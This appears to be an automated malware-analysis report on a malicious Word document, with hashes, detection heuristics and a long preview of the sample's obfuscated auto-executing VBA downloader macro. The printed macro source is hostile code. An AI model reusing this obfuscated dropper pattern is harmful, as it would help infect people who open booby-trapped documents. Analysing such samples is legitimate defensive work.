Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 02bd3616754991ff…

MALICIOUS

Office (OLE)

439.5 KB Created: 2018-10-30 03:29:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: f2a5dd9accd751731731a212ac18ba7d SHA-1: 34b28d578d3565ee9465e5fd80d22689861fad65 SHA-256: 02bd3616754991fff27e300e7bf732061bcc2243bfaf6f766f392b64c2e38c66
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a Microsoft Office document containing a critical heuristic firing for an obfuscated auto-exec VBA loader that downloads and executes a file. The VBA macro code itself is heavily obfuscated, but the presence of CreateObject and HTTP download functions strongly suggests it's designed to fetch and run a secondary payload. The Document_Open macro is present, indicating an automatic execution trigger upon opening the document.

Heuristics 9

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        tdqLdO = KXEHFsL.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set FxxQuT = CreateObject(EUhQJY)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set FxxQuT = CreateObject(EUhQJY)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        SGXEbXrE = Replace(nDuGtYkm(SGXEbXrE), "FtMejnWPfI", Environ(nDuGtYkm("AEkAf l Zcr lE?  tU NK #s$IA %e AUrjraiUq sv&sWuPW@cO%rP@caNo ]HYFfU @#_iM@&?Olp# BTe  q S")))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 176980 bytes
SHA-256: 2c9ad35fc4c2ced594a78e11f82c661a156cf937ea5f2ce315ecc44cced8d506
Detection
ClamAV: No threats found
Obfuscation or payload: likely
841 of 1443 identifiers look randomly generated (e.g. 'zzpPiJrEJUveYCOwhmkN'); 47 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
    mLurcNuQuW = UCase("x cz? Dt") + RTrim(" Ac Mt$gRo$W")
    gylxmmPB = Left(" [xMq)e^i  ", 4) + LTrim("wlIjCc  ")
    SINgVccGC = LTrim("Yp)n ")
    GkeaTK = 17 - 67 - 19 - 44 - 29 - 81
    

    pVKFzcl = 22 + 37 + 68 + 18 + 40 + 79
    

    pCOvUgPEWTUc = Right("!Ym E!$U xy( -y    H", 3)
    QTCrMDoe = UCase("UFtB ?ZOEj M@#") + RTrim("csu IGSIN pY ")
    BjfAhYw = Left("c)  [", 2) + LTrim("aJCUC )Wdj iUMIk )")
    SnzcXZBYmm "SeoHEqqElR", "idogSCuoQ", "aNhhUmLUe", "PjntBg", "TgTPjUHsOP", "UOmrnQxlA", "VoiEoUFxyC", "idyRlUKHhL", "wYUnrpLIi", "hrRViS"
    HBOnh = UCase("DZ?U^.^") + RTrim("jyB jZ a$)w]   f csb")
    gKfNJwXLsIHk = 37 + 37 + 34 + 37
            While Lzqjkn < 2
                For rQpSdz = 2 To 5
                    pVKFzcl = Right("r oSq u  ", 4)
                    ejsdwF = 72 - 26 - 59 - 40 - 13
                    GkeaTK = Left("PQIT!a&  p R", 3) + LTrim("Z.  H )HWL@   (H ")
                Next rQpSdz

                mXQdrf = LTrim(" ql$  .Je&!XnoZa p w")
                dsWsHTzf = 93 - 36 - 31 - 48 - 82
                TBLSFPQnsxt = RTrim("&@ R  !&e  ") + StrReverse(" jVYOaXE")
                Lzqjkn = Lzqjkn + 3
            Wend

            While XfEVBs < 3
                While RgebVD < 4
                    WwYvzpVs = UCase("Gyu On Pr P #V") + RTrim("P  Ji!%^  jl (LNZV ")
                    iNxmfJXS = 17 - 87 - 63 - 75 - 7 - 45
                    kcddgyWgrBba = RTrim(" HEXlBb LZM(@pUqb nz") + StrReverse(" ]uYm")
                    

                    RgebVD = RgebVD + 2
                Wend

                IoUbCAAHkzz = 98 - 42
                eDphPkrWmS = Space(3) + Left(" J S iZ I-[A", 2)
                WwYvzpVs = Right("L$s B)a o?Eu g", 5)
                XfEVBs = XfEVBs + 2
            Wend

            For MVCyos = 2 To 9
                ihalRwhfK = UCase(" hRxCMi Y$Dk )XdXxB?") + RTrim("J!X# WtZ  klD yKh  ")
                ihalRwhfK = 72 + 42
                LREvoT = RTrim(" &R u v R-") + UCase("sWdS  U  )[ MV")
                guQbosTxhc = Right("Hkl L qIHit", 2)
            Next MVCyos

            For ihEaGM = 2 To 6
                zKiNQzivkM = Left("_hbru]!- lmRbM", 5) + LTrim("pl-h    uq ")
                MAWcuCniGTMv = 55 + 85 + 13 + 39 + 78
                WrhgkGokkMo = 60 + 70 + 80 + 74
                OPFBZtk = Left("J bOu  .F&G ^  (  [G", 4) + LTrim("- k.J zXDc m%m ")
            Next ihEaGM

            For hHYzOe = 2 To 7
                

                WwYvzpVs = 60 + 54
                guQbosTxhc = Space(5) + Left("w@C #TK qIN  V   vp", 4)
            Next hHYzOe

            While drvqCl < 5
                For fsJUFx = 2 To 8
                    uagoWDjh = RTrim("nbRN! f  % _hzD") + StrReverse("ILw%QyUjf pC")
                    BjfAhYw = 18 - 10 - 100 - 29
                    dsWsHTzf = Left(" yLPmU&F gu Bq", 2) + LTrim("t vU!h")
                Next fsJUFx

                GkeaTK = Left("vD NME_Tw Jdww", 5) + LTrim(" b!jp  J[")
                WwYvzpVs = RTrim(" Yf WB  ? (]&%  g@") + UCase(" WrvPn[ g ")
                pCOvUgPEWTUc = LTrim("D _? d Hs_f#a.US_!JV")
                JhWgSns = Left(" G  umh $h", 3) + LTrim("jiUBIo VD")
                drvqCl = drvqCl + 3
            Wend

    GFSRbqaOOXyy = 7 - 33
    jyQrgmgo = 59 - 79 - 9


End Sub



Attribute VB_Name = "Module1"

Public Sub cGpjFRCHKw(fgMsjc As String, TuMIFc As String, XKUME As String, Lniei As String, XVfWOk As String, JrkmNA As String, YmUyFZF As String, WwIYJiA As String, AQgkhgp As String, yKvzBhs As String, yDSjyu As String)
    WrhgkGokkMo = Space(3) + Left("ec U  Voy$K Sr fNs", 3)
    

    

    gylxmmPB = 16 + 52 + 41 + 29 + 85
    TBLSFPQnsxt = RTrim("JU#d  E  h") + UCase("Mtje^fpiV q O")
    SINgVccGC = 50 + 12 + 38 + 63
    For Iioqjh = 2 To 5
        While UHtUOz < 2
            uagoWDjh = 77 - 87 - 62 - 50
            kcddgyWgrBba = Left(" d  U Z", 3) + LTrim(" WV he  sR?K-M X")
            mLurcNuQuW = Right("igRc?K#  &R l ", 4)
            UczVS = RTrim("Q-(&NO !t x  ") + UCase("P yQ @xQ OwOh  )uI%")
            ihalRwhfK = LTrim(".y G Iec E g")
            UHtUOz = UHtUOz + 3
        Wend

        QTCrMDoe = Right("!UT@EmE J", 2)
        kcddgyWgrBba = 30 - 74 - 6 - 3 - 80
        TBLSFPQnsxt = RTrim("DvLf._@d@u") + UCase("TRIfM]L  L?G$")
        eDphPkrWmS = Right("Pj GX  iC ", 3)
        OPFBZtk = 8 + 46 + 96 + 31 + 5
    Next Iioqjh

    tFxil = Left(" HH wY D!q  ]", 5) + LTrim("  vQJl  O X [A")
    For qDuDZU = 2 To 3
        For ksEPkX = 2 To 7
            gKfNJwXLsIHk = 14 - 37 - 12
            HBOnh = LTrim("wf-  C ")
            IoUbCAAHkzz = LTrim("ux #[u%   C!m")
            QTCrMDoe = Space(2) + Left("e cIKQ  rOu&TeK#", 2)
            eDphPkrWmS = RTrim("oKd j_W _Ke") + UCase("  Sl  vX d[IS]z?V")
        Next ksEPkX

        zKiNQzivkM = 3 + 41 + 4 + 11
        kcddgyWgrBba = Space(6) + Left("YJmC!W%)B Vcyk", 5)
        fUVhtZqk = UCase("B[]l ja u[  ts V ") + RTrim("XG  -  ")
    Next qDuDZU

    BjfAhYw = Space(9) + Left("N?ho Bv_pgV", 5)
    EAXappRwuW = RTrim("tc.Avzzn#_.   ") + StrReverse("Wt&vy")
    kcddgyWgrBba = Right("-tP  ?Q?", 2)
    eDphPkrWmS = UCase("udnIHZ%BuY tru ") + RTrim("QK( C")
    EUhQJY = fysBIhKVJR("wdF@mxiSbu sncdf(zmtUGcHgDV [-mPah XtM )-.s XS #:)aL] \v y&d\@IWIL.E_ sM\ O-_urfC odoD( F oLZnWftHP. %\Jj$wYcE)Cd&i)OLK m![uSovZQMv^2BYaEP")
    For kFMlsr = 2 To 8
        IoUbCAAHkzz = Left("Uhff[C WzDuHyI_tT-z", 5) + LTrim("  Wlp&h .g  E! AFf  ")
        mXQdrf = RTrim("v  Z sKr") + UCase("g !OP  Skd  ( I  ")
        HBOnh = Right(". goN -d-Ugg% t f", 4)
    Next kFMlsr

    GkeaTK = 17 + 40 + 62 + 86 + 4 + 18
    hqiEVAo = Left("j( Eh ?GOBia?&v#l", 2) + LTrim(" lR Yd JTk & Tb S dN")
    BjfAhYw = Left(" E) # .XMR#gVH", 5) + LTrim("GY q &)_skt^[    -(")
    JszANm = RTrim(" &xJ   n # ") + StrReverse("WtK-sn.ko ?.w t  ")
    fUVhtZqk = RTrim("SAc? _]N^ ") + UCase("  TCl ikxy (&Fawm")
    pVKFzcl = 25 + 20
    GkeaTK = RTrim("eN]kRs !c.z B Q e") + UCase("&ih-UO")
    kcddgyWgrBba = RTrim("_((  D  qk") + StrReverse("ZMOY Crac @ % h$")
    dpQxdiLOlk = Space(7) + Left("H  !xi ^e", 2)
    While svSiwn < 5
        For nvGFhN = 2 To 6
            ZQJuiaSsr = Left("SO Dfnp#pNEDQDmxb", 3) + LTrim("  d !bol$ O hveX")
            HBOnh = UCase("  eS  LKM^") + RTrim("R  U_")
            guQbosTxhc = 36 + 74 + 58
        Next nvGFhN

        gKfNJwXLsIHk = LTrim("s E HY pcK JrC")
        

        

        dpQxdiLOlk = LTrim("R _ yc^uXgGzK XB ")
        

        svSiwn = svSiwn + 1
    Wend

    QTCrMDoe = LTrim("ZuLk  Vo!U_^o jbfAd")
    HBOnh = RTrim("D_Lh.v aZ z&) C^mxC") + UCase("wRnKq_TvR a)R oL")
    ejsdwF = RTrim("_-M u   DAns^sE&wqqJ") + StrReverse(" Jr  xeiiMT.Z&   .I")
    ejsdwF = 0 + 29 + 33 + 46 + 89
    For eiNrvm = 2 To 10
        WrhgkGokkMo = Left(" tHO Wmm Fd[Wq", 3) + LTrim("_ay _czF  @!k")
        

        zKiNQzivkM = 24 - 24 - 72 - 97 - 7 - 23
    Next eiNrvm

    For vQRiRB = 2 To 5
        For dSCIoi = 2 To 9
            zKiNQzivkM = Space(9) + Left("- Kfn?W@", 3)
            uagoWDjh = 20 - 76 - 96
            gylxmmPB = Space(1) + Left("?t m ^%^AtV X", 4)
            JszANm = LTrim("_cP qo?H    FK ")
            yxXpb = Right(" tf KYFpjuAxg)", 2)
        Next dSCIoi

        yxXpb = 59 + 20 + 66 + 78 + 44
        pCOvUgPEWTUc = RTrim("e)qiv yYm") + UCase("eGo wf BAe")
        hqiEVAo = RTrim(".ZTbnDCe@fokG  - J") + UCase("[ CfBhG.wcnAeObQl ")
    Next vQRiRB

    For UJsWLu = 2 To 5
        While dFFZwI < 2
            mXQdrf = UCase("( $p?DLvm^)TxB ") + RTrim(" LMfA Q) y@ UM")
            HBOnh = 2 - 96
            hqiEVAo = RTrim(" E%   cP(s h S@o") + UCase("lL$ebl A ")
            pVKFzcl = LTrim(" upP   SlJ")
            dFFZwI = dFFZwI + 3
        Wend

        guQbosTxhc = LTrim(" CL@sBDM $J#opMN   ")
        GFSRbqaOOXyy = LTrim("e   !   p HMHg%%")
        tFxil = Right("@&)aF", 3)
        guQbosTxhc = 62 - 16 - 57 - 81 - 1
        pCOvUgPEWTUc = Left("jpv# r?$]", 2) + LTrim(".oAmcuA ))fHbSGM] ")
    Next UJsWLu

    JszANm = 77 - 64
    Set FxxQuT = CreateObject(EUhQJY)
    pCOvUgPEWTUc = Right("p?.#E  Ir  &UW ZM )", 3)
    QTCrMDoe = LTrim("!q!pc?Pa     qJG")
    JszANm = LTrim("w_TEEkez GO")
    BjfAhYw = RTrim("VQX_yN l") + UCase("NZs  $ S  SH @GKTD")
    UczVS = RTrim("z &Ost ") + UCase("o]-[eRwQ")
    BjfAhYw = Right("fFx]x$P", 3)
    gKfNJwXLsIHk = RTrim("&NMOe .C V") + StrReverse(" M Ikt")
    For WrMWPV = 2 To 5
        While nVrwrS < 4
            yxXpb = Left(" rblf W[d", 5) + LTrim("B[   ")
            uagoWDjh = Right("D pN Q$) in)C  V_eWj", 4)
            WTLSYTsNWt = UCase(" ly M  ? &tquSqE R ") + RTrim("JZ&# a$ w")
            nVrwrS = nVrwrS + 1
        Wend

        GkeaTK = 31 - 33 - 76 - 49 - 8
        ngADsGmwJ = 51 - 88 - 100
        iNxmfJXS = UCase("[eB JeYiCi") + RTrim("I)h t n NVmE   ")
        TBLSFPQnsxt = Right(" f@OO]XRj A", 5)
        uagoWDjh = 66 - 80 - 55 - 6 - 90
    Next WrMWPV

    HBOnh = Left("rG) )EnCQ?Wa", 4) + LTrim("WIw  Ur bm [-GBl hZ")
    tFxil = RTrim(" Z##I#SB mRv@Ac") + UCase("Gg@lM x  y _ogek ")
    yxXpb = 4 + 62
    While GCAKWj < 5
        While HjgefQ < 2
            

            guQbosTxhc = 28 - 28 - 77 - 67 - 62 - 78
            hqiEVAo = UCase("th^T$ V$)p") + RTrim("U?WZm  tT j ?R")
            HjgefQ = HjgefQ + 3
        Wend

        dsWsHTzf = Left(" IhLHMWv  ", 2) + LTrim("@ mH ")
        iNxmfJXS = Right("y  _iE  ln ", 5)
        hqiEVAo = RTrim("v  _  ]yo(iaa   (   ") + StrReverse("l.AIV)H G XD@IaaaoS ")
        GCAKWj = GCAKWj + 2
    Wend

    For hUtcGs = 2 To 5
        TBLSFPQnsxt = Space(11) + Left("GspeOQqM", 3)
        yxXpb = Right("ujOj-CDe", 2)
        GPMLifCHY = Right("]vh]DM  ^h(dHm P", 5)
        gylxmmPB = RTrim("&LV-BF (J") + UCase("NyZ #XK@ b^$Thii")
    Next hUtcGs

    iNxmfJXS = RTrim("GBRg-(Z j  Dx") + UCase("N #^s U z G!DdH[z-")
    uagoWDjh = Space(12) + Left("rPA h X", 4)
    EUhQJY = fysBIhKVJR("W Nu  iykOH$npws-L3WuYN@2!VMPY_G C((PHi LprEihdnolh&njc& M reTv x^sL J  sc  nSSqO-oFt[ cC a jNe-rD uD tX  R ue@I^gpY P j")
    UczVS = RTrim("J.FbzQdq^^u-LKfef") + UCase("PEW DuzgTi( zpH ")
    While WJwwZa < 2
        For ABlcaR = 2 To 9
            ngADsGmwJ = LTrim(" M [rPA @P N #KS Y@")
            WTLSYTsNWt = UCase("g C D -( ") + RTrim("s ziM#W  [j")
            QTCrMDoe = LTrim(")a^-JR Ku pfit   h")
        Next ABlcaR

        mLurcNuQuW = LTrim("  &Sx")
        HBOnh = 85 + 19 + 23
        UczVS = Left("BC JM ^(qw v]U Fg@", 3) + LTrim("    Pqy$W bNI")
        WJwwZa = WJwwZa + 1
    Wend

    BjfAhYw = RTrim("B_uJWu V) ") + UCase("ql !WN  ")
    yxXpb = Right(" noS ", 3)
    For clDZgk = 2 To 3
        For XIplvn = 2 To 7
            eDphPkrWmS = Left("AXZ[Pl_NJb p ", 5) + LTrim("Qig  ]j")
            ejsdwF = Space(14) + Left("za #  V%g Q ", 3)
            pCOvUgPEWTUc = Left("  ))E[UIev^Z Hzxh", 3) + LTrim("m$   % W")
        Next XIplvn

        BjfAhYw = LTrim("  $nhe")
        UczVS = Right("[GhH#a %", 5)
        JhWgSns = Left("(oWBzmT.CgR?", 2) + LTrim(" W -pk Friof")
        hqiEVAo = Space(7) + Left("bZu% ? u     ", 2)
        JszANm = RTrim("c@sN)]  uF(OR nAn rJ") + UCase("jhKhu ")
    Next clDZgk

    For kHjzqp = 2 To 3
        While OUrHDM < 5
            ZQJuiaSsr = RTrim("Vj  iO q_WZ w&pW$") + UCase("Cl Uv H  Z ")
            SINgVccGC = Right("!M  z)O&wS p[uOF", 5)
            yxXpb = Space(9) + Left("  lSV", 3)
            OUrHDM = OUrHDM + 3
        Wend

        iNxmfJXS = Right("zNywMTKS ^TPzTPE^^P", 3)
        dsWsHTzf = 70 + 48 + 53 + 56 + 90 + 46
        GkeaTK = RTrim("HAE g") + UCase("& !Yj")
    Next kHjzqp

    eDphPkrWmS = 56 + 83 + 52
    TBLSFPQnsxt = LTrim("g( Mgq V   zW mcC g")
    While UWDTfP < 4
        For TsDrBE = 2 To 9
            dsWsHTzf = LTrim(" goiUWD")
            BjfAhYw = RTrim("Sapz^CB") + UCase("csJ^ $kPSz C$)q  n")
            ZQJuiaSsr = RTrim(" im ^A T") + UCase("P cnaJczF K")
        Next TsDrBE

        tFxil = Left("z)FA JM ToWX", 2) + LTrim("S^u E_VC C)V#k  ?")
        gylxmmPB = Left("&% NT% (vdsyT", 5) + LTrim("D@    [zszk")
        ngADsGmwJ = Left("e e  p odtpa kCyb ! ", 3) + LTrim(" m]U @-Ov@OjRr WA")
        kcddgyWgrBba = LTrim("PhGbjM(q wB")
        UWDTfP = UWDTfP + 1
    Wend

    WwYvzpVs = RTrim(".z Nx% . XSlyqd!m u") + StrReverse(" lQ! ")
    QTCrMDoe = RTrim("haG- I[wiq") + UCase("[Y^dgLHzJFSEw  Rd H")
    zKiNQzivkM = UCase(" @ plcp ?eV]YsYuW") + RTrim("M i -Q!  F )A ")
    uagoWDjh = 62 - 76 - 43 - 97 - 86
    WrhgkGokkMo = RTrim("K MgeKRD#cbw.e )k]j ") + UCase("rn@lcpN  y&X")
    dpQxdiLOlk = 7 + 3 + 79 + 17
    tFxil = RTrim("  ll[Gh lA_") + UCase("  LkzWY K")
    zKiNQzivkM = LTrim("X% @ @")
    mLurcNuQuW = 23 - 42 - 49 - 30 - 17 - 15
    GPMLifCHY = UCase("MoPuJi( UJFvUuVlvDj") + RTrim(" &.f   olDuJ")
    Set utSeZGyr = FxxQuT.Get(EUhQJY)
    While hYXAZY < 3
        mXQdrf = Space(14) + Left(" fv % Tz% EC", 2)
        GPMLifCHY = 2 - 32 - 43 - 61
        UczVS = Space(13) + Left("k Fu x(!O", 3)
        hYXAZY = hYXAZY + 1
    Wend

    While NexWri < 5
        yxXpb = Space(11) + Left("?NC U$^ LJbIYtJF", 2)
        BjfAhYw = 88 - 67
        

        GFSRbqaOOXyy = RTrim("a   mODzD   ") + UCase(" XFWb g&z YhV(fw   ")
        NexWri = NexWri + 3
    Wend

    WrhgkGokkMo = RTrim(" [ZG  bkK  Xx&") + UCase("W@tUnxs O[ MclUPC ")
    eDphPkrWmS = Right("fHPvyd]tFop$iG  .I", 5)
    

    yxXpb = RTrim("C iOPWr zOFav$pg") + UCase(" )eU-  gd")
    

    IoUbCAAHkzz = 12 - 64 - 5
    pVKFzcl = 79 + 74 + 4 + 27 + 52 + 63
    dsWsHTzf = 41 - 49 - 30 - 44
    Set OOKBt = utSeZGyr.SpawnInstance_
    WrhgkGokkMo = RTrim("EQ%s^ i(GC") + StrReverse("Uq]-cz^y  H L %")
    While YXTDYA < 1
        zKiNQzivkM = RTrim("_cHeFo)  _ g s") + UCase("zqL q S")
        HBOnh = Right("vS    ^J _&Lfhr^n zg", 3)
        OPFBZtk = LTrim("e^A Rs ?ysN mKuU")
        hqiEVAo = Left("x  y&@   c  f)  p]Dx", 3) + LTrim(" Z   b VoxC .X) ")
        MAWcuCniGTMv = LTrim("_$TF  bl h ! ")
        YXTDYA = YXTDYA + 2
    Wend

    MAWcuCniGTMv = 99 + 37 + 29 + 77
    JhWgSns = Right(")-fI%Nwy.l   ", 5)
    

    

    JszANm = Space(8) + Left("a  YTA_&Oo_ J  b z# ", 3)
    

    TBLSFPQnsxt = RTrim("aVODr ]]") + StrReverse("  ^_ K  Hn")
    

    guQbosTxhc = Space(8) + Left("  I T.%- [U) ZQ", 2)
    kcddgyWgrBba = LTrim(" zzQl!ovq  K ?q i y?")
    EUhQJY = fysBIhKVJR("wivA ^i% TZFn qBD]mQ RUsgTa (Lm PO? tNSoKps(F]Iv:R#$uW\Ka _@\VEGt).]_  q\V uRGr[M B o%!%^Oov FURt.(XI \aC $WcAON^]im ZMnm-QAvtvUqub 2&t H?:KOa YWTtsERijs [Xnkr  J3wZo N2lsFIk_vCB WPz)g IrQAGeooJWP#cc tx WeT..A]sy$ zdsrPEwV")
    GkeaTK = Space(10) + Left("  a Yl   DvWW", 5)
    eDphPkrWmS = LTrim(" nIIN&# u-V  ")
    IoUbCAAHkzz = 95 - 45 - 85
    While JdZFGJ < 3
        While hzHTkt < 3
            OPFBZtk = Space(10) + Left("f nbD!I YT]p?) Dgm ", 2)
            mXQdrf = RTrim("ycH JQ() ") + UCase(" xWq?")
            HBOnh = Space(19) + Left("SgD&qYw aDQ Z L ", 5)
            iNxmfJXS = LTrim(" K@xWm tL e")
            jyQrgmgo = 22 - 87 - 15
            hzHTkt = hzHTkt + 3
        Wend

        pVKFzcl = LTrim("^ NxmM -tjHySIG!qr ")
        yxXpb = RTrim("wYfN ZX% kon") + UCase("%  ( #Lb a")
        IoUbCAAHkzz = Left("[^t?f", 4) + LTrim("MwZXFBp m IR keSp")
        jyQrgmgo = UCase("vCgk( Kvjd fn $Gp") + RTrim("fK K @a%h ")
        JszANm = Right("^   @yWsZ%rVaS_-v", 2)
        JdZFGJ = JdZFGJ + 2
    Wend

    ZQJuiaSsr = Left("#H[K . n BQ ", 2) + LTrim("r BUgZ  ldt I RXS  ")
    While KlWMaM < 1
        HBOnh = UCase("q  Q  U scI ") + RTrim("A-#QtLTlGtG  Zk^P [A")
        MAWcuCniGTMv = 100 - 7 - 97 - 80
        iNxmfJXS = Right(" X#WKK", 2)
        IoUbCAAHkzz = RTrim(" nZC  &O_$oKrn") + UCase("(JNhR  &  ^ up XYbaU")
        KlWMaM = KlWMaM + 2
    Wend

    For dROYOu = 2 To 3
        While ZNlNoD < 1
            JhWgSns = RTrim("J LAUv&b R) n@Yv%q ") + StrReverse("nE Za ")
            QTCrMDoe = RTrim("yvg.szfP@U") + UCase("-M-z -Q) gOIG I")
            WwYvzpVs = RTrim("I -j ") + StrReverse("@ !a#V( %G ")
            gylxmmPB = UCase("l O_zWj[ g MDxU?u NU") + RTrim("e fa Z  w")
            JszANm = Right("n f]Jflnm jm]_H  k?", 5)
            ZNlNoD = ZNlNoD + 3
        Wend

        hqiEVAo = LTrim(" m sdGRf%v@  (  ")
        zKiNQzivkM = Left("m [A k", 5) + LTrim("  S@if ")
        WrhgkGokkMo = Space(18) + Left("?iqsk.KZ VZkgUO$", 2)
        guQbosTxhc = RTrim("  b].^ T $feqrFPt") + UCase("ev C P &@yRNu")
    Next dROYOu

    BjfAhYw = Right("O!eUY   XoZ?  B", 3)
    TBLSFPQnsxt = Left(" X&KS zS_f$?  PQ Z", 2) + LTrim("&  DFfH#R")
    JszANm = Left(")& CRzuJGH", 4) + LTrim(" #e s ")
    JszANm = 60 - 61 - 27 - 17
    eDphPkrWmS = RTrim("#  .F fPlFF-   MB") + StrReverse(" VT#  wr FfnCS")
    UczVS = Left("hgBDR", 5) + LTrim("T    NL-  @ us")
    pVKFzcl = 98 + 4
    mLurcNuQuW = Right("I@..b  L", 3)
    GFSRbqaOOXyy = RTrim("E ?-S ? e- n ") + UCase("KB  ?S@VO ")
    JszANm = Left("S Xt deJMu-yV^  #[q ", 4) + LTrim("!c otBU")
    While RQCBDz < 1
        For OYRKSU = 2 To 6
            ZQJuiaSsr = 88 - 33 - 53 - 30 - 79 - 92
            WrhgkGokkMo = Space(6) + Left(" S]T  ", 5)
            dsWsHTzf = Left(" K    rS X. O q J ", 4) + LTrim("y  O@j P")
            gKfNJwXLsIHk = RTrim("yvMlX-]Q kUzYHw ") + StrReverse("K t e] R?")
            iNxmfJXS = Space(12) + Left("]b!Ladx YD ^Lz % ", 4)
        Next OYRKSU

        eDphPkrWmS = RTrim(" iPS gO@fl-qX  ") + StrReverse("   p ")
        

        pVKFzcl = Space(16) + Left(" n O[PrJ", 4)
        GkeaTK = RTrim("o(R!W  -y.") + UCase(" h RQN !RLUB  H")
        iNxmfJXS = 91 + 12 + 100 + 81 + 27
        RQCBDz = RQCBDz + 3
    Wend

    HBOnh = Space(14) + Left("E eX)YBTlT", 4)
    hqiEVAo = 73 + 66 + 29 + 44
    OOKBt.ShowWindow = 89 - 89
    GFSRbqaOOXyy = 1 - 3 - 36 - 0
    EAXappRwuW = RTrim("gtp$ ux") + UCase("v iTRn VPU")
    UczVS = 49 - 60 - 82 - 43 - 94
    ZQJuiaSsr = LTrim("k%-U$ % &SX  XI  C#E")
    hqiEVAo = Space(8) + Left("c lCpCYl dpF dox[E", 3)
    

    mXQdrf = 54 + 42 + 1
    WrhgkGokkMo = Left("]b] #G wU mfZ-v]@", 2) + LTrim("#(awPA yefR%^[! ")
    For kKCjjY = 2 To 8
        

        BjfAhYw = UCase("h-b%h)    fT  Ho") + RTrim("  _WC#u !")
        ejsdwF = Right("Z%@v  (oS", 3)
        iNxmfJXS = UCase("OPvM_ziiRb? [ DVyU%@") + RTrim("f [ MD z$LP@(i  ")
        EAXappRwuW = LTrim("OX @ ")
    Next kKCjjY

    gKfNJwXLsIHk = LTrim("Vy[&V   l")
    uagoWDjh = RTrim("qwZ@ ") + StrReverse("dnrz   pPTiu")
    OPFBZtk = RTrim("M )Te   s[N m _.@") + StrReverse("@SfHY chdvR.  E")
    HBOnh = 16 - 84 - 10
    uagoWDjh = Left("(   cR%iA  SV .  O", 5) + LTrim(".!l   n AFa f@  ")
    For GHtjgs = 2 To 5
        For ektDzX = 2 To 7
            guQbosTxhc = RTrim("Aq K]U ltupV L") + UCase("Z^  U^ tB%V")
            LREvoT = RTrim("@[qJoorJL.  D") + UCase("[J cCQCTfX^ P$@ZK ")
            IoUbCAAHkzz = RTrim("VE_m?FDfyLb  ") + UCase("#p? RJ  ug@q Xvk[ ")
            

        Next ektDzX

        GPMLifCHY = Left("eC%S Azv ]H[hsk A kq", 2) + LTrim("tklxGmJFdYtP")
        

        hqiEVAo = RTrim("B BA?g  t. nsC ") + StrReverse("kaoqKpCRq M wI g")
    Next GHtjgs

    MAWcuCniGTMv = LTrim("dbqkyv)BI")
    TBLSFPQnsxt = Right("e%aI J%.LK ", 3)
    Set ghiOBwEP = CreateObject(EUhQJY)
    mXQdrf = Right(" MC   WZ DbeGGH", 2)
    kcddgyWgrBba = RTrim("E _ZN.- %(X ") + StrReverse("Itg e")
    uagoWDjh = Space(16) + Left("  ?! eoy r", 2)
    pCOvUgPEWTUc = RTrim("l ^pt  BrCIEmN sVY") + StrReverse("]GKyq@Q^  n!] e p# ")
    For kdwbCT = 2 To 3
        For FfJWOd = 2 To 9
            kcddgyWgrBba = Right("Jmq m]Taja", 3)
            ihalRwhfK = 49 + 95
            GkeaTK = Left("a!r@xOwST", 2) + LTrim(" -X!   o$ kn(@")
        Next FfJWOd

        UczVS = LTrim("kA d ap( y DbfS  ")
        GFSRbqaOOXyy = Space(17) + Left("   wm P", 2)
        

    Next kdwbCT

    While VyYlfD < 3
        While shJpda < 3
            eDphPkrWmS = 24 - 20 - 51 - 78 - 74
            LREvoT = UCase("If  X aWTKjq  ^o") + RTrim(" v  PYmz ")
            pVKFzcl = 63 - 99 - 89 - 64 - 16
            MAWcuCniGTMv = LTrim("_B^ qH")
            shJpda = shJpda + 1
        Wend

        kcddgyWgrBba = RTrim("ztdM cIcfRtw") + StrReverse("^  m mn Gi]w_D$")
        TBLSFPQnsxt = Right("v  w^C srNLh#b d", 4)
        LREvoT = Space(15) + Left("_NIYbbe )mAF", 3)
        VyYlfD = VyYlfD + 3
    Wend

    MAWcuCniGTMv = UCase("!WL  mUOCP%J") + RTrim("?B o  MA VP   O qgtZ")
    JhWgSns = 33 + 39 + 98 + 75 + 20
    ejsdwF = UCase(" bFXPq(vU _ ") + RTrim("Vzb) PeOo.h Lq^T")
    TBLSFPQnsxt = RTrim("  n  ") + StrReverse("pd q b")
    WrhgkGokkMo = 12 + 45 + 20 + 86 + 9
